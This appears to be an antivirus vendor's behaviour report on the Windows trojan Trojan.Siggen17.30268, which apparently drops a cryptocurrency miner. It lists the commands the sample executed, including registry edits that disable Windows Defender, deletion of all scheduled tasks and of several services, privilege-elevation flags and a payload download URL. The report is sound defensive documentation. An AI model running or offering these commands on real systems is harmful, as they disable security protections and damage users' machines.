Trojan.Siggen17.30268

Technical Information

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Defender

Executes the following

'<SYSTEM32>\taskkill.exe' /im "Start_.exe" /F
'<SYSTEM32>\taskkill.exe' /im "Win32Serv.exe" /F /t
'<SYSTEM32>\taskkill.exe' /im "IntelSvc.exe" /F /t
'<SYSTEM32>\taskkill.exe' /im "Systemfont.exe" /F /t
'<SYSTEM32>\taskkill.exe' /im "RtkAudio.exe" /F /t
'<SYSTEM32>\taskkill.exe' /im "svcany.exe" /F /t
'<SYSTEM32>\net.exe' stop "App System"
'<SYSTEM32>\net.exe' stop "A<File name>c"
'<SYSTEM32>\net.exe' stop "Event System"
'<SYSTEM32>\taskkill.exe' /im "AeroAdmin.exe" /F /t
'<SYSTEM32>\net.exe' stop "LocalService"
'<SYSTEM32>\net.exe' stop "AeroadminService"
'<SYSTEM32>\net.exe' stop "DNS Server Service"
'<SYSTEM32>\net.exe' stop "DNS Service"
'<SYSTEM32>\net.exe' stop "DNSE vent"
'<SYSTEM32>\net.exe' stop "DNSEvent"
'<SYSTEM32>\net.exe' stop "loadhost Dhcp"
'<SYSTEM32>\net.exe' stop "loadhost Service"
'<SYSTEM32>\net.exe' stop "loadhost"
'<SYSTEM32>\net.exe' stop "Intel(R) Utiliti"
'<SYSTEM32>\taskkill.exe' /im "fontdrvhots.exe" /F /t

Downloads

https://google247.xyz/bitefree020621/soft/taskmg.exe as taskmg.exe
http://go###e247.xyz/bitefree020621/soft/taskmg.exe as taskmg.exe

Modifies file system

Creates the following files

%TEMP%\ixp000.tmp\start_.cmd
nul
C:\users\public\fvbs.vbs
C:\users\public\music\yfile.cmd
C:\users\public\taskmg.vbs

Deletes the following files

%TEMP%\ixp000.tmp\start_.cmd
<SYSTEM32>\tasks\microsoft\windows\registry\regidlebackup
<SYSTEM32>\tasks\microsoft\windows\ras\mobilitymanager
<SYSTEM32>\tasks\microsoft\windows\rac\ractask
<SYSTEM32>\tasks\microsoft\windows\power efficiency diagnostics\analyzesystem
<SYSTEM32>\tasks\microsoft\windows\perftrack\backgroundconfigsurveyor
<SYSTEM32>\tasks\microsoft\windows\offline files\logon synchronization
<SYSTEM32>\tasks\microsoft\windows\offline files\background synchronization
<SYSTEM32>\tasks\microsoft\windows\remoteassistance\remoteassistancetask
<SYSTEM32>\tasks\microsoft\windows\nettrace\gathernetworkinfo
<SYSTEM32>\tasks\microsoft\windows\mui\lpremove
<SYSTEM32>\tasks\microsoft\windows\mobilepc\hotstart
<SYSTEM32>\tasks\microsoft\windows\memorydiagnostic\decompressionfailuredetector
<SYSTEM32>\tasks\microsoft\windows\memorydiagnostic\corruptiondetector
<SYSTEM32>\tasks\microsoft\windows\media center\updaterecordpath
<SYSTEM32>\tasks\microsoft\windows\media center\sqlliterecoverytask
<SYSTEM32>\tasks\microsoft\windows\media center\reindexsearchroot
<SYSTEM32>\tasks\microsoft\windows\multimedia\systemsoundsservice
<SYSTEM32>\tasks\microsoft\windows\shell\windowsparentalcontrols
<SYSTEM32>\tasks\microsoft\windows\shell\windowsparentalcontrolsmigration
<SYSTEM32>\tasks\microsoft\windows\sideshow\autowake
<SYSTEM32>\tasks\microsoft\windows\windowsbackup\confignotification
<SYSTEM32>\tasks\microsoft\windows\windows media sharing\updatelibrary
<SYSTEM32>\tasks\microsoft\windows\windows filtering platform\bfeonservicestarttypechange
<SYSTEM32>\tasks\microsoft\windows\windows error reporting\queuereporting
<SYSTEM32>\tasks\microsoft\windows\wdi\resolutionhost
<SYSTEM32>\tasks\microsoft\windows\user profile service\hiveuploadtask
<SYSTEM32>\tasks\microsoft\windows\upnp\upnphostconfig
<SYSTEM32>\tasks\microsoft\windows\time synchronization\synchronizetime
<SYSTEM32>\tasks\microsoft\windows\textservicesframework\msctfmonitor
<SYSTEM32>\tasks\microsoft\windows\tcpip\ipaddressconflict2
<SYSTEM32>\tasks\microsoft\windows\tcpip\ipaddressconflict1
<SYSTEM32>\tasks\microsoft\windows\task manager\interactive
<SYSTEM32>\tasks\microsoft\windows\systemrestore\sr
<SYSTEM32>\tasks\microsoft\windows\softwareprotectionplatform\svcrestarttask
<SYSTEM32>\tasks\microsoft\windows\sideshow\systemdataproviders
<SYSTEM32>\tasks\microsoft\windows\sideshow\sessionagent
<SYSTEM32>\tasks\microsoft\windows\sideshow\gadgetmanager
<SYSTEM32>\tasks\microsoft\windows\media center\registersearch
<SYSTEM32>\tasks\microsoft\windows\windowscolorsystem\calibration loader
<SYSTEM32>\tasks\microsoft\windows\media center\recordingrestart
<SYSTEM32>\tasks\microsoft\windows\media center\pvrrecoverytask
<SYSTEM32>\tasks\microsoft\windows\customer experience improvement program\kernelceiptask
<SYSTEM32>\tasks\microsoft\windows\customer experience improvement program\consolidator
<SYSTEM32>\tasks\microsoft\windows\certificateservicesclient\usertask-roam
<SYSTEM32>\tasks\microsoft\windows\certificateservicesclient\usertask
<SYSTEM32>\tasks\microsoft\windows\certificateservicesclient\systemtask
<SYSTEM32>\tasks\microsoft\windows\bluetooth\uninstalldevicetask
<SYSTEM32>\tasks\microsoft\windows\autochk\proxy
<SYSTEM32>\tasks\microsoft\windows\customer experience improvement program\usbceip
<SYSTEM32>\tasks\microsoft\windows\application experience\programdataupdater
<SYSTEM32>\tasks\microsoft\windows\appid\verifiedpublishercertstorecheck
<SYSTEM32>\tasks\microsoft\windows\appid\policyconverter
<SYSTEM32>\tasks\microsoft\windows\active directory rights management services client\ad rms rights policy template management (manual)
<SYSTEM32>\tasks\microsoft\windows\active directory rights management services client\ad rms rights policy template management (automated)
<SYSTEM32>\tasks\adobe flash player updater
%WINDIR%\tasks\adobe flash player updater.job
<SYSTEM32>\tasks\adobe acrobat update task
<SYSTEM32>\tasks\microsoft\windows\application experience\aitagent
<SYSTEM32>\tasks\microsoft\windows\defrag\scheduleddefrag
<SYSTEM32>\tasks\microsoft\windows\diagnosis\scheduled
<SYSTEM32>\tasks\microsoft\windows\diskdiagnostic\microsoft-windows-diskdiagnosticdatacollector
<SYSTEM32>\tasks\microsoft\windows\media center\periodicscanretry
<SYSTEM32>\tasks\microsoft\windows\media center\pbdadiscoveryw2
<SYSTEM32>\tasks\microsoft\windows\media center\pbdadiscoveryw1
<SYSTEM32>\tasks\microsoft\windows\media center\pbdadiscovery
<SYSTEM32>\tasks\microsoft\windows\media center\ocurdiscovery
<SYSTEM32>\tasks\microsoft\windows\media center\ocuractivate
<SYSTEM32>\tasks\microsoft\windows\media center\objectstorerecoverytask
<SYSTEM32>\tasks\microsoft\windows\media center\mediacenterrecoverytask
<SYSTEM32>\tasks\microsoft\windows\media center\mcupdate
<SYSTEM32>\tasks\microsoft\windows\media center\installplayready
<SYSTEM32>\tasks\microsoft\windows\media center\ehdrminit
<SYSTEM32>\tasks\microsoft\windows\media center\dispatchrecoverytasks
<SYSTEM32>\tasks\microsoft\windows\media center\configureinternettimeservice
<SYSTEM32>\tasks\microsoft\windows\media center\activatewindowssearch
<SYSTEM32>\tasks\microsoft\windows\maintenance\winsat
<SYSTEM32>\tasks\microsoft\windows\location\notifications
<SYSTEM32>\tasks\microsoft\windows\diskdiagnostic\microsoft-windows-diskdiagnosticresolver
<SYSTEM32>\tasks\microsoft\windows\media center\pvrscheduletask
<SYSTEM32>\tasks\officesoftwareprotectionplatform\svcrestarttask

Network activity

UDP

DNS ASK go###e247.xyz

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Creates and executes the following

'<SYSTEM32>\wscript.exe' "C:\Users\Public\Fvbs.vbs"
'<SYSTEM32>\wscript.exe' "C:\Users\Public\Taskmg.vbs"
'<SYSTEM32>\cmd.exe' /c "Start_.cmd"' (with hidden window)
'<SYSTEM32>\cmd.exe' /C "C:\Users\Public\Music\yfile.cmd"' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /c "Start_.cmd"
'<SYSTEM32>\net1.exe' stop "loadhost Dhcp"
'<SYSTEM32>\sc.exe' delete "loadhost Service"
'<SYSTEM32>\net1.exe' stop "loadhost Service"
'<SYSTEM32>\sc.exe' delete "loadhost"
'<SYSTEM32>\net1.exe' stop "loadhost"
'<SYSTEM32>\schtasks.exe' /Delete /TN * /F
'<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%WINDIR%\SysWOW64\fontdrvhots.exe" /t REG_SZ /d "~ RUNASADMIN" /f
'<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%WINDIR%\Temp\IntelSvc.exe" /t REG_SZ /d "~ RUNASADMIN" /f
'<SYSTEM32>\sc.exe' delete "loadhost Dhcp"
'<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%ALLUSERSPROFILE%\RuntimeBroker.exe" /t REG_SZ /d "~ RUNASADMIN" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableAntiVirus /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%ALLUSERSPROFILE%\screen.exe" /t REG_SZ /d "~ RUNASADMIN" /f
'<SYSTEM32>\sc.exe' delete "Intel(R) Utiliti"
'<SYSTEM32>\attrib.exe' -h -r -s "%ALLUSERSPROFILE%\*.*"
'<SYSTEM32>\net1.exe' stop "DNSE vent"
'<SYSTEM32>\attrib.exe' -h -r -s "%ALLUSERSPROFILE%\Intel\*.*"
'<SYSTEM32>\sc.exe' delete "App System"
'<SYSTEM32>\net1.exe' stop "App System"
'<SYSTEM32>\sc.exe' delete "A<File name>c"
'<SYSTEM32>\net1.exe' stop "A<File name>c"
'<SYSTEM32>\sc.exe' delete "Event System"
'<SYSTEM32>\net1.exe' stop "Event System"
'<SYSTEM32>\sc.exe' delete "LocalService"
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "LocalService"
'<SYSTEM32>\net1.exe' stop "Intel(R) Utiliti"
'<SYSTEM32>\sc.exe' delete "AeroadminService"
'<SYSTEM32>\net1.exe' stop "AeroadminService"
'<SYSTEM32>\sc.exe' delete "DNS Server Service"
'<SYSTEM32>\net1.exe' stop "DNS Server Service"
'<SYSTEM32>\sc.exe' delete "DNS Service"
'<SYSTEM32>\net1.exe' stop "DNS Service"
'<SYSTEM32>\sc.exe' delete "DNSE vent"
'<SYSTEM32>\net1.exe' stop "DNSEvent"
'<SYSTEM32>\sc.exe' delete "DNSEvent"
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
'<SYSTEM32>\findstr.exe' /i /c:"teamredminer.exe"
'<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq lolMiner.exe"
'<SYSTEM32>\findstr.exe' /i /c:" PhoenixMiner.exe"
'<SYSTEM32>\findstr.exe' /i /c:"PhoenixMiner.exeВ "
'<SYSTEM32>\findstr.exe' /i /c:"В PhoenixMiner.exe"
'<SYSTEM32>\tasklist.exe'
'<SYSTEM32>\findstr.exe' /i /c:"PhoenixMiner.exe"
'<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq PhoenixMiner.exe"
'<SYSTEM32>\xcopy.exe' /f /h /i /c /k /r /y "%ALLUSERSPROFILE%\Start_.exe" "%WINDIR%\SysWOW64\Start1.exe"
'<SYSTEM32>\findstr.exe' /i /c:"lolMiner.exe"
'<SYSTEM32>\cmd.exe' /S /D /c" echo F"
'<SYSTEM32>\wbem\wmic.exe' process where name="Start_.exe" call terminate
'<SYSTEM32>\cmd.exe' /C "C:\Users\Public\Music\yfile.cmd"
'<SYSTEM32>\wbem\wmic.exe' process where name="wscript.exe" call terminate
'<SYSTEM32>\cmd.exe' /c type "%TEMP%\IXP000.TMP\Start_.cmd"
'<SYSTEM32>\findstr.exe' -b -n "^_one181019_" "%TEMP%\IXP000.TMP\Start_.cmd"
'<SYSTEM32>\cmd.exe' /c findstr -b -n "^_one181019_" "%TEMP%\IXP000.TMP\Start_.cmd" 2>nul
'<SYSTEM32>\find.exe' "0x0"
'<SYSTEM32>\reg.exe' query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin"
'<SYSTEM32>\choice.exe' /n /c yn /t 1 /d y
'<SYSTEM32>\findstr.exe' /i /c:"excavator.exe"
'<SYSTEM32>\reg.exe' ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /v MRUList /t REG_SZ /d a /f
'<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq SRBMiner-MULTI.exe"
'<SYSTEM32>\reg.exe' ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /v a /t REG_SZ /d shell:startup\1 /f
'<SYSTEM32>\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
'<SYSTEM32>\reg.exe' add "HKCU\Control Panel\International" /v sShortDate /t REG_SZ /d "M/d/yyyy" /f
'<SYSTEM32>\findstr.exe' /i /c:"NiceHashMiner.exe"
'<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq NiceHashMiner.exe"
'<SYSTEM32>\findstr.exe' /i /c:"nanominer.exe"
'<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq nanominer.exe"
'<SYSTEM32>\findstr.exe' /i /c:"EthDcrMiner64.exe"
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq EthDcrMiner64.exe"
'<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq excavator.exe"
'<SYSTEM32>\findstr.exe' /i /c:"miner.exe"
'<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq miner.exe"
'<SYSTEM32>\findstr.exe' /i /c:"nbminer.exe"
'<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq nbminer.exe"
'<SYSTEM32>\findstr.exe' /i /c:"t-rex.exe"
'<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq t-rex.exe"
'<SYSTEM32>\findstr.exe' /i /c:"SRBMiner"
'<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq teamredminer.exe"
'<SYSTEM32>\attrib.exe' -h -r -s "%ProgramFiles%\Internet Explorer\ieUpdata.exe"

Tecnologie

Termini

Formazione ed informazione

Falsi miti

Technical Information

Curing recommendations

Free trial